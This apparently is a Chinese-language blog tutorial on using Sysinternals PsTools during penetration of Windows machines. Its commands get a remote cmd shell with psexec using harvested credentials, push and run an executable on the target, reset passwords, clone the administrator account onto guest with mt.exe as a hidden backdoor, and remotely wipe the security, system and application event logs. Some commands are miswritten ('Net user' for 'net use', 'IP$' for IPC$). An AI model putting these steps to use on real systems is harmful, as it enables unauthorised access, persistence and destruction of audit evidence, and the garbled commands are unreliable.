pstool的介紹 PsTools是Sysinternals Suite中一款排名靠前的一個安全管理工具套件。現在被微軟收購。目前pstools中含有12款各式各樣的小工具。如果將它們靈活的運用,將會在滲透中收到奇效。所有的pstool第一次運行時都會彈框。可以用–accepteula這個參數繞過。 還有所有的pstool都支持IP$,一旦IP$共享是連接的就不用輸入-u 和-p這兩個參數。 如何建立IP$連接。命令如下: Net user \\目標ip\ 密碼 /user:用戶 Net user \\192.168.1.3\ 123456 /user:test 建立后所有的ps工具都將可以不用輸入用戶和密碼了。 其中12款工具簡介如下: ◆PsExec - 遠程執行進程 ◆PsFile - 顯示遠程打開的文件 ◆PsGetSid - 顯示計算機或用戶的 SID ◆PsInfo - 列出有關系統的信息 ◆PsKill - 按名稱或進程 ID 終止進程 ◆PsList - 列出有關進程的詳細信息 ◆PsLoggedOn - 查看在本地通過資源共享(包含所有資源)登錄的用戶 ◆PsLogList - 轉儲事件日志記錄 ◆PsPasswd - 更改帳戶密碼 ◆PsService - 查看和控制服務 ◆PsShutdown - 關閉並重新啟動(可選)計算機 ◆PsSuspend - 暫停進程
Psexec 介紹
遠程獲取一個cmdshell 比如我再滲透中掃描到目標機(192.168.1.3)的一個用戶名(test)和密碼(123456)。 那我們的命令就是: psexec \\目標ip -u 用戶名 -p 密碼 進程名 psexec \\192.168.0.109 –u test –p 123456 cmd.exe
exit退出
這里看見不能空密碼進行連接
限制 比guest權限大的用戶都能登陸
PsExec \\192.168.0.109 -u administrator -p 123456 -c k:\ss.exe
pspasswd的應用詳解
pspasswd \\192.168.0.109 -u administrator -p 123456 guest 123456 用administrator改guest的密碼
pspassword妙用
首先執行D:\web|pspasswd.exe –accepteula (第一次執行,表示許可執行的意思) D:\web|pspasswd.exe administrator yueyan 就會成功修改administrator的密碼。 這里能修改密碼的原因是pspasswd不是調用net.exe進行密碼修改。 上述介紹常常配合mt.exe進行用戶克隆。這里簡單介紹: (關於mt.exe的詳細介紹請訪問:【工具】mt.exe的詳細介紹)
首先mt.exe查看用戶sid,比較后看是否有克隆賬戶
Mt -chkuser
比較后,沒有克隆賬戶,我們選擇guest這個賬戶進行克隆:
Mt –clone administrator guest
然后配合pspasswd修改密碼:
Pspasswd guest yueyan
就這樣成功克隆一個賬戶,並能成功登陸訪問。
pskill+psinfo+pslist的應用詳解
pskill \\192.168.0.109 -u administrator -p 123456 cmd.exe
我再介紹psinfo的相關應用。 基本參數是: -h 顯示已經安裝的補丁信息 -s 顯示已安裝的軟件信息 -d 顯示磁盤信息 如果我們想看遠程主機的基本信息,命令如下: psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456
PSLOGGEDON:查看指定計算機的本地及遠程登錄的用戶和登錄時間。必須建立在IP$共享下才可以使用這個工具。
其他ps工具介紹: PSLOGGEDON:查看指定計算機的本地及遠程登錄的用戶和登錄時間。必須建立在IP$共享下才可以使用這個工具。 命令如下: Psloggedon –l \\192.168.1.3 PSLOGLIST:事件日志轉儲及管理。 這個對於滲透測試是非常有用的,它最大的特點就是遠程清理系統日志。 常用: psloglist \\72.56.17.74 application -c > nul psloglist \\72.56.17.74 system -c > nul psloglist \\72.56.17.74 security -c > nul 分別是清理應用程序日志,系統運行日志,安全日志。 PSSERVICE:管理服務。 常用: psservice query messenger 查詢messenger服務的相關信息。 最重要的項目是:服務名稱、顯示名稱、服務描述、服務類型、服務狀態。 psservice config messenger 查詢服務的配置信息。 最重要的項目是:服務名稱、服務描述、服務類型、服務啟動類型、服務錯誤控制級別、可執行文件的路徑等等。 PSSHUTDOWN:關機工具。 常用命令: Psshutdown –s –t 60 60秒后關機。 下面幾個不常用,就介紹下: PsFile - 顯示遠程打開的文件 Psfile \\192.168.1.3 PsGetSid - 顯示計算機或用戶的 SID Psgetsid \\192.168.1.3 PsSuspend - 暫停進程 Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe